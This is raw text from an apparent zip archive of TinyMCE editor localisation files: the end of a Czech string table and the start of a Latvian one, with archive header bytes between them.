"Justify": "Do bloku",
"Bullet list": "Odr\u00e1\u017eky",
"Numbered list": "\u010c\u00edslov\u00e1n\u00ed",
"Decrease indent": "Zmen\u0161it odsazen\u00ed",
"Increase indent": "Zv\u011bt\u0161it odsazen\u00ed",
"Close": "Zav\u0159\u00edt",
"Formats": "Form\u00e1ty",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "V\u00e1\u0161 prohl\u00ed\u017ee\u010d nepodporuje p\u0159\u00edm\u00fd p\u0159\u00edstup do schr\u00e1nky. Pou\u017eijte pros\u00edm kl\u00e1vesov\u00e9 zkratky Ctrl+X\/C\/V.",
"Headers": "Nadpisy",
"Header 1": "Nadpis 1",
"Header 2": "Nadpis 2",
"Header 3": "Nadpis 3",
"Header 4": "Nadpis 4",
"Header 5": "Nadpis 5",
"Header 6": "Nadpis 6",
"Headings": "Nadpisy",
"Heading 1": "Nadpis 1",
"Heading 2": "Nadpis 2",
"Heading 3": "Nadpis 3",
"Heading 4": "Nadpis 4",
"Heading 5": "Nadpis 5",
"Heading 6": "Nadpis 6",
"Preformatted": "P\u0159edform\u00e1tovan\u00fd text",
"Div": "Div (blok)",
"Pre": "Pre (p\u0159edform\u00e1tov\u00e1no)",
"Code": "Code (k\u00f3d)",
"Paragraph": "Odstavec",
"Blockquote": "Citace",
"Inline": "\u0158\u00e1dkov\u00e9 zobrazen\u00ed (inline)",
"Blocks": "Blokov\u00e9 zobrazen\u00ed (block)",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Je zapnuto vkl\u00e1d\u00e1n\u00ed \u010dist\u00e9ho textu. Dokud nebude tato volba vypnuta, bude ve\u0161ker\u00fd obsah vlo\u017een jako \u010dist\u00fd text.",
"Fonts": "Typ p\u00edsma",
"Font Sizes": "Velikost p\u00edsma",
"Class": "T\u0159\u00edda",
"Browse for an image": "Vyhledat obr\u00e1zek",
"OR": "NEBO",
"Drop an image here": "P\u0159et\u00e1hn\u011bte obr\u00e1zek do tohoto um\u00edst\u011bn\u00ed",
"Upload": "Nahr\u00e1t",
"Block": "Do bloku",
"Align": "Zarovn\u00e1n\u00ed",
"Default": "V\u00fdchoz\u00ed",
"Circle": "Kole\u010dko",
"Disc": "Punt\u00edk",
"Square": "\u010ctvere\u010dek",
"Lower Alpha": "Norm\u00e1ln\u00ed \u010d\u00edslov\u00e1n\u00ed",
"Lower Greek": "Mal\u00e9 p\u00edsmenkov\u00e1n\u00ed",
"Lower Roman": "Mal\u00e9 \u0159\u00edmsk\u00e9 \u010d\u00edslice",
"Upper Alpha": "velk\u00e9 p\u00edsmenkov\u00e1n\u00ed",
"Upper Roman": "\u0158\u00edmsk\u00e9 \u010d\u00edslice",
"Anchor...": "Kotva",
"Name": "N\u00e1zev",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id by m\u011blo za\u010d\u00ednat p\u00edsmenem a d\u00e1le obsahovat pouze p\u00edsmena, \u010d\u00edsla, poml\u010dky, te\u010dky, dvojte\u010dky, nebo podtr\u017e\u00edtka.",
"You have unsaved changes are you sure you want to navigate away?": "M\u00e1te neulo\u017een\u00e9 zm\u011bny. Opravdu chcete opustit str\u00e1nku?",
"Restore last draft": "Obnovit posledn\u00ed koncept",
"Special character...": "Speci\u00e1ln\u00ed znak\u2026",
"Source code": "Zdrojov\u00fd k\u00f3d",
"Insert\/Edit code sample": "Vlo\u017eit \/ Upravit uk\u00e1zkov\u00fd k\u00f3d",
"Language": "Jazyk",
"Code sample...": "Uk\u00e1zka k\u00f3du",
"Color Picker": "V\u00fdb\u011br barvy",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Zleva doprava",
"Right to left": "Zprava doleva",
"Emoticons": "Emotikony",
"Emoticons...": "Emotikony",
"Metadata and Document Properties": "Metadata a vlastnosti dokumentu",
"Title": "Titulek",
"Keywords": "Kl\u00ed\u010dov\u00e1 slova",
"Description": "Popis",
"Robots": "Roboti",
"Author": "Autor",
"Encoding": "K\u00f3dov\u00e1n\u00ed",
"Fullscreen": "Na celou obrazovku",
"Action": "Akce",
"Shortcut": "Kl\u00e1vesov\u00e1 zkratka",
"Help": "N\u00e1pov\u011bda",
"Address": "Blok s po\u0161tovn\u00ed adresou",
"Focus to menubar": "P\u0159ej\u00edt do menu",
"Focus to toolbar": "P\u0159ej\u00edt na panel n\u00e1stroj\u016f",
"Focus to element path": "P\u0159ej\u00edt na element path",
"Focus to contextual toolbar": "P\u0159ej\u00edt na kontextov\u00fd panel n\u00e1stroj\u016f",
"Insert link (if link plugin activated)": "Vlo\u017eit odkaz (pokud je aktivn\u00ed link plugin)",
"Save (if save plugin activated)": "Ulo\u017eit (pokud je aktivni save plugin)",
"Find (if searchreplace plugin activated)": "Hledat (pokud je aktivn\u00ed plugin searchreplace)",
"Plugins installed ({0}):": "Instalovan\u00e9 pluginy ({0}):",
"Premium plugins:": "Pr\u00e9miov\u00e9 pluginy:",
"Learn more...": "Zjistit v\u00edce...",
"You are using {0}": "Pou\u017e\u00edv\u00e1te {0}",
"Plugins": "Pluginy",
"Handy Shortcuts": "U\u017eite\u010dn\u00e9 kl\u00e1vesov\u00e9 zkratky",
"Horizontal line": "Vodorovn\u00e1 \u010d\u00e1ra",
"Insert\/edit image": "Vlo\u017eit \/ upravit obr\u00e1zek",
"Alternative description": "Alternativn\u00ed text",
"Accessibility": "Bez alternativn\u00edho textu",
"Image is decorative": "(dekorativn\u00ed obr\u00e1zek bez alternativn\u00edho textu)",
"Source": "URL",
"Dimensions": "Rozm\u011bry",
"Constrain proportions": "Zachovat proporce",
"General": "Obecn\u00e9",
"Advanced": "Pokro\u010dil\u00e9",
"Style": "Styl",
"Vertical space": "Vertik\u00e1ln\u00ed mezera",
"Horizontal space": "Horizont\u00e1ln\u00ed mezera",
"Border": "R\u00e1me\u010dek",
"Insert image": "Vlo\u017eit obr\u00e1zek",
"Image...": "Obr\u00e1zek",
"Image list": "Seznam obr\u00e1zk\u016f",
"Rotate counterclockwise": "Oto\u010dit doleva",
"Rotate clockwise": "Oto\u010dit doprava",
"Flip vertically": "P\u0159evr\u00e1tit svisle",
"Flip horizontally": "P\u0159evr\u00e1tit vodorovn\u011b",
"Edit image": "Upravit obr\u00e1zek",
"Image options": "Vlastnosti obr\u00e1zku",
"Zoom in": "P\u0159ibl\u00ed\u017eit",
"Zoom out": "Odd\u00e1lit",
"Crop": "O\u0159\u00edznout",
"Resize": "Zm\u011bnit velikost",
"Orientation": "Transformovat",
"Brightness": "Jas",
"Sharpen": "Ostrost",
"Contrast": "Kontrast",
"Color levels": "\u00darovn\u011b barev",
"Gamma": "Gama",
"Invert": "Invertovat",
"Apply": "Pou\u017e\u00edt",
"Back": "Zp\u011bt",
"Insert date\/time": "Vlo\u017eit datum \/ \u010das",
"Date\/time": "Datum\/\u010das",
"Insert\/edit link": "Vlo\u017eit \/ upravit odkaz",
"Text to display": "Text k zobrazen\u00ed",
"Url": "URL",
"Open link in...": "C\u00edlov\u00e9 okno URL",
"Current window": "Otev\u0159\u00edt v nad\u0159azen\u00e9 okn\u011b",
"None": "\u017d\u00e1dn\u00e9",
"New window": "Nov\u00e9 okno",
"Open link": "C\u00edlov\u00e9 okno URL",
"Remove link": "Odstranit odkaz",
"Anchors": "Kotvy",
"Link...": "Odkaz",
"Paste or type a link": "Vlo\u017eit nebo napsat odkaz",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa. Chcete doplnit povinn\u00fd prefix mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Zadan\u00e9 URL vypad\u00e1 jako odkaz na jin\u00fd web. Chcete doplnit povinn\u00fd prefix http:\/\/?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Zadan\u00e9 URL vypad\u00e1 jako odkaz na jin\u00fd web. Chcete doplnit povinn\u00fd prefix https:\/\/?",
"Link list": "Seznam odkaz\u016f",
"Insert video": "Vlo\u017eit video",
"Insert\/edit video": "Vlo\u017eit \/ upravit video",
"Insert\/edit media": "Vlo\u017eit \/ upravit m\u00e9dia",
"Alternative source": "Alternativn\u00ed zdroj",
"Alternative source URL": "Alternativn\u00ed zdrojov\u00e1 URL",
"Media poster (Image URL)": "URL n\u00e1hledu",
"Paste your embed code below:": "Vlo\u017ete k\u00f3d pro vlo\u017een\u00ed n\u00ed\u017ee:",
"Embed": "Vlo\u017eit",
"Media...": "M\u00e9dia",
"Nonbreaking space": "Pevn\u00e1 mezera",
"Page break": "Konec str\u00e1nky",
"Paste as text": "Vlo\u017eit jako \u010dist\u00fd text",
"Preview": "N\u00e1hled",
"Print...": "Tisk...",
"Save": "Ulo\u017eit",
"Find": "Naj\u00edt",
"Replace with": "Nahradit za",
"Replace": "Nahradit",
"Replace all": "Nahradit v\u0161e",
"Previous": "P\u0159edchoz\u00ed",
"Next": "Dal\u0161\u00ed",
"Find and Replace": "Naj\u00edt a nahradit",
"Find and replace...": "Naj\u00edt a nahradit",
"Could not find the specified string.": "Zadan\u00fd \u0159et\u011bzec nebyl nalezen.",
"Match case": "Rozli\u0161ovat mal\u00e1 a velk\u00e1 p\u00edsmena",
"Find whole words only": "Pouze cel\u00e1 slova",
"Find in selection": "Ozna\u010den\u00fd text",
"Spellcheck": "Kontrola pravopisu",
"Spellcheck Language": "Jazyk kontroly pravopisu",
"No misspellings found.": "Nebyly nalezeny \u017e\u00e1dn\u00e9 p\u0159eklepy.",
"Ignore": "Ignorovat",
"Ignore all": "Ignorovat v\u0161e",
"Finish": "Ukon\u010dit",
"Add to Dictionary": "P\u0159idat do slovn\u00edku",
"Insert table": "Vlo\u017eit tabulku",
"Table properties": "Vlastnosti tabulky",
"Delete table": "Smazat tabulku",
"Cell": "Bu\u0148ka",
"Row": "\u0158\u00e1dek",
"Column": "Sloupec",
"Cell properties": "Vlastnosti bu\u0148ky",
"Merge cells": "Slou\u010dit bu\u0148ky",
"Split cell": "Rozd\u011blit bu\u0148ky",
"Insert row before": "Vlo\u017eit \u0159\u00e1dek nad",
"Insert row after": "Vlo\u017eit \u0159\u00e1dek pod",
"Delete row": "Smazat \u0159\u00e1dek",
"Row properties": "Vlastnosti \u0159\u00e1dku",
"Cut row": "Vyjmout \u0159\u00e1dek",
"Copy row": "Kop\u00edrovat \u0159\u00e1dek",
"Paste row before": "Vlo\u017eit \u0159\u00e1dek nad",
"Paste row after": "Vlo\u017eit \u0159\u00e1dek pod",
"Insert column before": "Vlo\u017eit sloupec vlevo",
"Insert column after": "Vlo\u017eit sloupec vpravo",
"Delete column": "Smazat sloupec",
"Cols": "Sloupc\u016f",
"Rows": "\u0158\u00e1dek",
"Width": "\u0160\u00ed\u0159ka",
"Height": "V\u00fd\u0161ka",
"Cell spacing": "Vn\u011bj\u0161\u00ed okraj bun\u011bk",
"Cell padding": "Vnit\u0159n\u00ed okraj bun\u011bk",
"Caption": "Nadpis",
"Show caption": "Zobrazit titulek",
"Left": "Vlevo",
"Center": "Na st\u0159ed",
"Right": "Vpravo",
"Cell type": "Typ bu\u0148ky",
"Scope": "Rozsah",
"Alignment": "Zarovn\u00e1n\u00ed",
"H Align": "Horizont\u00e1ln\u00ed zarovn\u00e1n\u00ed",
"V Align": "Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed",
"Top": "Nahoru",
"Middle": "Uprost\u0159ed",
"Bottom": "Dol\u016f",
"Header cell": "Hlavi\u010dkov\u00e1 bu\u0148ka",
"Row group": "Skupina \u0159\u00e1dk\u016f",
"Column group": "Skupina sloupc\u016f",
"Row type": "Typ \u0159\u00e1dku",
"Header": "Hlavi\u010dka",
"Body": "T\u011blo",
"Footer": "Pati\u010dka",
"Border color": "Barva r\u00e1me\u010dku",
"Insert template...": "Vlo\u017eit \u0161ablonu",
"Templates": "\u0160ablony",
"Template": "\u0160ablona",
"Text color": "Barva p\u00edsma",
"Background color": "Barva pozad\u00ed",
"Custom...": "Vlastn\u00ed...",
"Custom color": "Vlastn\u00ed barva",
"No color": "Bez barvy",
"Remove color": "Odebrat barvu",
"Table of Contents": "Obsah",
"Show blocks": "Uk\u00e1zat bloky",
"Show invisible characters": "Zobrazit speci\u00e1ln\u00ed znaky",
"Word count": "Po\u010det slov",
"Count": "Po\u010det",
"Document": "Dokument",
"Selection": "V\u00fdb\u011br",
"Words": "Slova",
"Words: {0}": "Po\u010det slov: {0}",
"{0} words": "Po\u010det slov: {0}",
"File": "Soubor",
"Edit": "\u00dapravy",
"Insert": "Vlo\u017eit",
"View": "Zobrazit",
"Format": "Form\u00e1t",
"Table": "Tabulka",
"Tools": "N\u00e1stroje",
"Powered by {0}": "Vytvo\u0159il {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Editor. Stiskn\u011bte ALT-F9 pro menu, ALT-F10 pro n\u00e1strojovou li\u0161tu a ALT-0 pro n\u00e1pov\u011bdu.",
"Image title": "N\u00e1zev obr\u00e1zku",
"Border width": "\u0160\u00ed\u0159ka ohrani\u010den\u00ed",
"Border style": "Styl ohrani\u010den\u00ed",
"Error": "Chyba",
"Warn": "Varov\u00e1n\u00ed",
"Valid": "Platn\u00fd",
"To open the popup, press Shift+Enter": "Vyskakovac\u00ed okno otev\u0159ete stisknut\u00edm Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "Oblast Rich Text, stiskn\u011bte ALT-0 pro n\u00e1pov\u011bdu.",
"System Font": "Typ p\u00edsma",
"Failed to upload image: {0}": "Selhalo nahr\u00e1n\u00ed obr\u00e1zku: {0}",
"Failed to load plugin: {0} from url {1}": "Selhalo na\u010dten\u00ed pluginu: {0} z URL {1}",
"Failed to load plugin url: {0}": "Selhalo na\u010dten\u00ed URL pluginu: {0}",
"Failed to initialize plugin: {0}": "Selhala inicializace pluginu: {0}",
"example": "p\u0159\u00edklad",
"Search": "Hledat",
"All": "V\u0161e",
"Currency": "M\u011bna",
"Text": "Text",
"Quotations": "Citace",
"Mathematical": "Matematick\u00e9 symboly",
"Extended Latin": "Roz\u0161\u00ed\u0159en\u00e1 latinka",
"Symbols": "Symboly",
"Arrows": "\u0160ipky",
"User Defined": "Definovan\u00e9 u\u017eivatelem",
"dollar sign": "znak dolar",
"currency sign": "znak m\u011bny",
"euro-currency sign": "znak eura",
"colon sign": "znak colon",
"cruzeiro sign": "znak cruzeiro",
"french franc sign": "znak francouzsk\u00fdo frank",
"lira sign": "znak lira",
"mill sign": "znak mill",
"naira sign": "znak nairo",
"peseta sign": "znak peseto",
"rupee sign": "znak rupie",
"won sign": "znak won",
"new sheqel sign": "znak nov\u00fd \u0161ekel",
"dong sign": "znak dong",
"kip sign": "znak kip",
"tugrik sign": "znak tugrik",
"drachma sign": "znak drachma",
"german penny symbol": "znak n\u011bmeck\u00fd fenik",
"peso sign": "znak peso",
"guarani sign": "znak guaran\u00ed",
"austral sign": "znak austral",
"hryvnia sign": "znak h\u0159ivna",
"cedi sign": "znak cedi",
"livre tournois sign": "znak tournois libra",
"spesmilo sign": "znak spesmilo",
"tenge sign": "znak tenge",
"indian rupee sign": "znak indick\u00e1 rupie",
"turkish lira sign": "znak tureck\u00e1 liry",
"nordic mark sign": "znak norsk\u00e1 marka",
"manat sign": "znak manat",
"ruble sign": "znak rubl",
"yen character": "znak jen",
"yuan character": "znak juan",
"yuan character, in hong kong and taiwan": "znak juanu v hongkongu a tchaj-wanu",
"yen\/yuan character variant one": "znak jenu\/juanu, varianta 1",
"Loading emoticons...": "Na\u010d\u00edt\u00e1n\u00ed emotikon\u016f...",
"Could not load emoticons": "Nelze na\u010d\u00edst emotikony",
"People": "Lid\u00e9",
"Animals and Nature": "Zv\u00ed\u0159ata a p\u0159\u00edroda",
"Food and Drink": "J\u00eddlo a pit\u00ed",
"Activity": "Aktivita",
"Travel and Places": "Cestov\u00e1n\u00ed a m\u00edsta",
"Objects": "Objekty",
"Flags": "Vlajky",
"Characters": "Znaky",
"Characters (no spaces)": "Znaky (bez mezer)",
"{0} characters": "{0} znak\u016f",
"Error: Form submit field collision.": "Chyba: Kolize odes\u00edlac\u00edho formul\u00e1\u0159ov\u00e9ho pole.",
"Error: No form element found.": "Chyba: Nebyl nalezen \u017e\u00e1dn\u00fd prvek formul\u00e1\u0159e.",
"Update": "Aktualizovat",
"Color swatch": "Vzorek barvy",
"Turquoise": "Tyrkysov\u00e1",
"Green": "Zelen\u00e1",
"Blue": "Modr\u00e1",
"Purple": "Fialov\u00e1",
"Navy Blue": "N\u00e1mo\u0159nick\u00e1 mod\u0159",
"Dark Turquoise": "Tmav\u011b tyrkysov\u00e1",
"Dark Green": "Tmav\u011b zelen\u00e1",
"Medium Blue": "St\u0159edn\u011b modr\u00e1",
"Medium Purple": "St\u0159edn\u011b fialov\u00e1",
"Midnight Blue": "P\u016flno\u010dn\u00ed modr\u00e1",
"Yellow": "\u017dlut\u00e1",
"Orange": "Oran\u017eov\u00e1",
"Red": "\u010cerven\u00e1",
"Light Gray": "Sv\u011btle \u0161ed\u00e1",
"Gray": "\u0160ed\u00e1",
"Dark Yellow": "Tmav\u011b \u017elut\u00e1",
"Dark Orange": "Tmav\u011b oran\u017eov\u00e1",
"Dark Red": "Tmav\u011b \u010derven\u00e1",
"Medium Gray": "St\u0159edn\u011b \u0161ed\u00e1",
"Dark Gray": "Tmav\u011b \u0161ed\u00e1",
"Light Green": "Sv\u011btle zelen\u00e1",
"Light Yellow": "Sv\u011btle \u017elut\u00e1",
"Light Red": "Sv\u011btle \u010derven\u00e1",
"Light Purple": "Sv\u011btle fialov\u00e1",
"Light Blue": "Sv\u011btle modr\u00e1",
"Dark Purple": "Tmav\u011b fialov\u00e1",
"Dark Blue": "Tmav\u011b modr\u00e1",
"Black": "\u010cern\u00e1",
"White": "B\u00edl\u00e1",
"Switch to or from fullscreen mode": "P\u0159ep\u00edn\u00e1n\u00ed mezi re\u017eimem cel\u00e9 obrazovky",
"Open help dialog": "Otev\u0159\u00edt okno n\u00e1pov\u011bdy",
"history": "historie",
"styles": "styly",
"formatting": "form\u00e1tov\u00e1n\u00ed",
"alignment": "zarovn\u00e1n\u00ed",
"indentation": "odsazen\u00ed",
"Font": "P\u00edsmo",
"Size": "Velikost",
"More...": "Dal\u0161\u00ed\u2026",
"Select...": "Vybrat",
"Preferences": "P\u0159edvolby",
"Yes": "Ano",
"No": "Ne",
"Keyboard Navigation": "Navigace pomoc\u00ed kl\u00e1vesnice",
"Version": "Verze",
"Code view": "Zobrazit k\u00f3d",
"Open popup menu for split buttons": "Otev\u0159ete vyskakovac\u00ed nab\u00eddku pro rozd\u011blen\u00e1 tla\u010d\u00edtka",
"List Properties": "Vlastnosti seznamu",
"List properties...": "Vlastnosti seznamu...",
"Start list at number": "Po\u010d\u00e1te\u010dn\u00ed \u010d\u00edslo seznamu",
"Line height": "V\u00fd\u0161ka \u0159\u00e1dku",
"comments": "koment\u00e1\u0159e",
"Format Painter": "Kop\u00edrovat form\u00e1t",
"Insert\/edit iframe": "Vlo\u017eit\/upravit prvek iframe",
"Capitalization": "Velk\u00e1 p\u00edsmena",
"lowercase": "mal\u00e1 p\u00edsmena",
"UPPERCASE": "VELK\u00c1 P\u00cdSMENA",
"Title Case": "V\u0161echna Prvn\u00ed Velk\u00e1",
"permanent pen": "Permanentn\u00ed pero",
"Permanent Pen Properties": "Vlastnosti permanentn\u00edho pera",
"Permanent pen properties...": "Vlastnosti permanentn\u00edho pera\u2026",
"case change": "Zm\u011bna velikosti p\u00edsma",
"page embed": "Vlo\u017een\u00ed str\u00e1nky",
"Advanced sort...": "Roz\u0161\u00ed\u0159en\u00e9 \u0159azen\u00ed...",
"Advanced Sort": "Roz\u0161\u00ed\u0159en\u00e9 \u0159azen\u00ed",
"Sort table by column ascending": "Se\u0159adit tabulku podle sloupce vzestupn\u011b",
"Sort table by column descending": "Se\u0159adit tabulku podle sloupce sestupn\u011b",
"Sort": "\u0158adit",
"Order": "\u0158azen\u00ed",
"Sort by": "\u0158adit dle",
"Ascending": "Vzestupn\u011b",
"Descending": "Sestupn\u011b",
"Column {0}": "Sloupec {0}",
"Row {0}": "\u0158\u00e1dek {0}",
"Spellcheck...": "Kontrola pravopisu",
"Misspelled word": "\u0160patn\u011b napsan\u00e9 slovo",
"Suggestions": "N\u00e1vrhy",
"Change": "Zm\u011bnit",
"Finding word suggestions": "Hled\u00e1n\u00ed n\u00e1vrh\u016f slov",
"Success": "\u00dasp\u011b\u0161n\u00e9",
"Repair": "Opraveno",
"Issue {0} of {1}": "Probl\u00e9m {0} z {1}",
"Images must be marked as decorative or have an alternative text description": "Obr\u00e1zky mus\u00ed b\u00fdt ozna\u010deny jako dekorativn\u00ed nebo mus\u00ed m\u00edt alternativn\u00ed textov\u00fd popis.",
"Images must have an alternative text description. Decorative images are not allowed.": "Obr\u00e1zky mus\u00ed m\u00edt alternativn\u00ed textov\u00fd popis. Dekorativn\u00ed obr\u00e1zky nejsou povoleny.",
"Or provide alternative text:": "Nebo zadejte alternativn\u00ed text:",
"Make image decorative:": "Nastavit obr\u00e1zek jako dekorativn\u00ed:",
"ID attribute must be unique": "ID atributu mus\u00ed b\u00fdt jedine\u010dn\u00e9",
"Make ID unique": "Nastavit ID jako jedine\u010dn\u00e9",
"Keep this ID and remove all others": "Ponechat toto ID a odstranit v\u0161echny ostatn\u00ed",
"Remove this ID": "Odebrat toto ID",
"Remove all IDs": "Odebrat v\u0161echna ID",
"Checklist": "Kontroln\u00ed seznam",
"Anchor": "Kotva",
"Special character": "Speci\u00e1ln\u00ed znak",
"Code sample": "Uk\u00e1zkov\u00fd k\u00f3d",
"Color": "Barva",
"Document properties": "Vlastnosti dokumentu",
"Image description": "Popis obr\u00e1zku",
"Image": "Obr\u00e1zek",
"Insert link": "Vlo\u017eit odkaz",
"Target": "C\u00edl",
"Link": "Odkaz",
"Poster": "N\u00e1hled",
"Media": "M\u00e9dia",
"Print": "Tisk",
"Prev": "P\u0159edchoz\u00ed",
"Find and replace": "Naj\u00edt a nahradit",
"Whole words": "Pouze cel\u00e1 slova",
"Insert template": "Vlo\u017eit \u0161ablonu"
});PK
h�\��ӭ/+/+program/js/tinymce/langs/lv.jsnu�[���tinymce.addI18n('lv',{
"Redo": "Solis uz priek\u0161u",
"Undo": "Solis atpaka\u013c",
"Cut": "Izgriezt",
"Copy": "Kop\u0113t",
"Paste": "Iel\u012bm\u0113t",
"Select all": "Iez\u012bm\u0113t visu",
"New document": "Jauns dokuments",
"Ok": "Ok",
"Cancel": "Atcelt",
"Visual aids": "Vizu\u0101l\u0101 pal\u012bdz\u012bba",
"Bold": "Treknraksts",
"Italic": "Sl\u012bpraksts",
"Underline": "Pasv\u012btrot",
"Strikethrough": "Nosv\u012btrot",
"Superscript": "Aug\u0161raksts",
"Subscript": "Apak\u0161raksts",
"Clear formatting": "No\u0146emt format\u0113jumu",
"Align left": "Pa kreisi",
"Align center": "Centr\u0113t",
"Align right": "Pa labi",
"Justify": "Gar ab\u0101m mal\u0101m",
"Bullet list": "Nenumur\u0113ts saraksts",
"Numbered list": "Numur\u0113ts saraksts",
"Decrease indent": "Samazin\u0101t atk\u0101pi",
"Increase indent": "Palielin\u0101t atk\u0101pi",
"Close": "Aizv\u0113rt",
"Formats": "Format\u0113jumi",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "J\u016bsu p\u0101rl\u016bkprogramma neatbalsta piek\u013cuvi starpliktuvei. L\u016bdzu, lietojiet Ctrl+X\/C\/V klaviat\u016bras sa\u012bsnes.",
"Headers": "Virsraksti",
"Header 1": "1. l\u012bme\u0146a virsraksts",
"Header 2": "2. l\u012bme\u0146a virsraksts",
"Header 3": "3. l\u012bme\u0146a virsraksts",
"Header 4": "4. l\u012bme\u0146a virsraksts",
"Header 5": "5. l\u012bme\u0146a virsraksts",
"Header 6": "6. l\u012bme\u0146a virsraksts",
"Headings": "Virsraksti",
"Heading 1": "1. l\u012bme\u0146a virsraksts",
"Heading 2": "2. l\u012bme\u0146a virsraksts",
"Heading 3": "3. l\u012bme\u0146a virsraksts",
"Heading 4": "4. l\u012bme\u0146a virsraksts",
"Heading 5": "5. l\u012bme\u0146a virsraksts",
"Heading 6": "6. l\u012bme\u0146a virsraksts",
"Div": "Div",
"Pre": "Pre",
"Code": "Kods",
"Paragraph": "Rindkopa",
"Blockquote": "Cit\u0101ts",
"Inline": "Inline elementi",
"Blocks": "Bloka elementi",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Iel\u012bm\u0113\u0161ana vienk\u0101r\u0161\u0101 teksta re\u017e\u012bm\u0101. Saturs tiks iel\u012bm\u0113ts bez format\u0113juma l\u012bdz \u0161\u012b opcija tiks atsl\u0113gta.",
"Font Family": "Fontu saime",
"Font Sizes": "Fontu izm\u0113ri",
"Class": "Klase",
"Browse for an image": "Izv\u0113l\u0113ties att\u0113lu",
"OR": "VAI",
"Drop an image here": "Ievelciet att\u0113lu \u0161eit",
"Upload": "Aug\u0161upiel\u0101d\u0113t",
"Block": "Bloks",
"Align": "L\u012bdzin\u0101t",
"Default": "Parastais",
"Circle": "Aplis",
"Disc": "Disks",
"Square": "Kvadr\u0101ts",
"Lower Alpha": "Lat\u012b\u0146u mazie burti",
"Lower Greek": "Grie\u0137u mazie burti",
"Lower Roman": "Romie\u0161u mazie burti",
"Upper Alpha": "Lat\u012b\u0146u lielie burti",
"Upper Roman": "Romie\u0161u lielie burti",
"Anchor": "Iek\u0161\u0113j\u0101 saite",
"Name": "Nosaukums",
"Id": "Identifikators",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Identifikatoram j\u0101s\u0101kas ar burtu, p\u0113c tam var satur\u0113t: burtus, ciparus, domuz\u012bmes, punktus, kolus vai pasv\u012btrojumz\u012bmes. ",
"You have unsaved changes are you sure you want to navigate away?": "Saturs ir labots un nav saglab\u0101ts. Vai tie\u0161\u0101m v\u0113laties atst\u0101t \u0161o lapu?",
"Restore last draft": "Atjaunot p\u0113d\u0113jo melnrakstu",
"Special character": "Speci\u0101l\u0101 rakstz\u012bme",
"Source code": "Pirmkods",
"Insert\/Edit code sample": "Ievad\u012bt\/Labot koda paraugu",
"Language": "Valoda",
"Code sample": "Koda paraugs",
"Color": "Kr\u0101sa",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "No kreis\u0101s uz labo",
"Right to left": "No lab\u0101s uz kreiso",
"Emoticons": "Emocijas",
"Document properties": "Dokumenta parametri",
"Title": "Nosaukums",
"Keywords": "Atsl\u0113gv\u0101rdi",
"Description": "Apraksts",
"Robots": "Programmas",
"Author": "Autors",
"Encoding": "Kod\u0113\u0161ana",
"Fullscreen": "Pilnekr\u0101na re\u017e\u012bms",
"Action": "Darb\u012bba",
"Shortcut": "Sa\u012bsne",
"Help": "Pal\u012bdz\u012bba",
"Address": "Adrese",
"Focus to menubar": "Fokuss uz izv\u0113lni",
"Focus to toolbar": "Fokuss uz r\u012bkjoslu",
"Focus to element path": "Fokuss uz elementa ce\u013cu",
"Focus to contextual toolbar": "Fokuss uz papildizv\u0113lni",
"Insert link (if link plugin activated)": "Ievietot saiti (Ja sai\u0161u spraudnis ir akt\u012bvs)",
"Save (if save plugin activated)": "Saglab\u0101t (Ja saglab\u0101\u0161anas spraudnis ir akt\u012bvs)",
"Find (if searchreplace plugin activated)": "Atrast (Ja \"searchreplace\" spraudnis ir akt\u012bvs)",
"Plugins installed ({0}):": "Spraud\u0146i instal\u0113ti ({0}):",
"Premium plugins:": "\u012apa\u0161ie spraud\u0146i:",
"Learn more...": "Uzzin\u0101t vair\u0101k...",
"You are using {0}": "J\u016bs lietojiet {0}",
"Plugins": "Spraud\u0146i",
"Handy Shortcuts": "Paroc\u012bgi \u012bsce\u013ci",
"Horizontal line": "Horizont\u0101l\u0101 l\u012bnija",
"Insert\/edit image": "Ievietot\/labot att\u0113lu",
"Image description": "Apraksts",
"Source": "Avots",
"Dimensions": "Izm\u0113ri",
"Constrain proportions": "Saglab\u0101t malu attiec\u012bbu",
"General": "Pamata info",
"Advanced": "Papildus",
"Style": "Stils",
"Vertical space": "Vertik\u0101l\u0101 atstarpe",
"Horizontal space": "Horizont\u0101l\u0101 atstarpe",
"Border": "Apmale",
"Insert image": "Ievietot att\u0113lu",
"Image": "Att\u0113ls",
"Image list": "Att\u0113lu saraksts",
"Rotate counterclockwise": "Pagriezt pret\u0113ji pulkste\u0146a r\u0101d\u012bt\u0101ja virzienam",
"Rotate clockwise": "Pagriezt pulkste\u0146a r\u0101d\u012bt\u0101ja virzien\u0101",
"Flip vertically": "Apmest vertik\u0101li",
"Flip horizontally": "Apmest horizont\u0101li",
"Edit image": "Redi\u0123\u0113t att\u0113lu",
"Image options": "Att\u0113la parametri",
"Zoom in": "Pietuvin\u0101t",
"Zoom out": "Att\u0101lin\u0101t",
"Crop": "Apgriezt",
"Resize": "Main\u012bt izm\u0113ru",
"Orientation": "Orient\u0101cija",
"Brightness": "Gai\u0161ums",
"Sharpen": "Asums",
"Contrast": "Kontrasts",
"Color levels": "Kr\u0101su l\u012bme\u0146i",
"Gamma": "Gamma",
"Invert": "Pret\u0113j\u0101s kr\u0101sas",
"Apply": "Pielietot",
"Back": "Atgriezties",
"Insert date\/time": "Ievietot datumu\/laiku",
"Date\/time": "Datums\/laiks",
"Insert link": "Ievietot saiti",
"Insert\/edit link": "Ievietot\/labot saiti",
"Text to display": "Nosaukums",
"Url": "Adrese",
"Target": "Kur atv\u0113rt",
"None": "\u2014",
"New window": "Jaun\u0101 \u0161\u0137irkl\u012b",
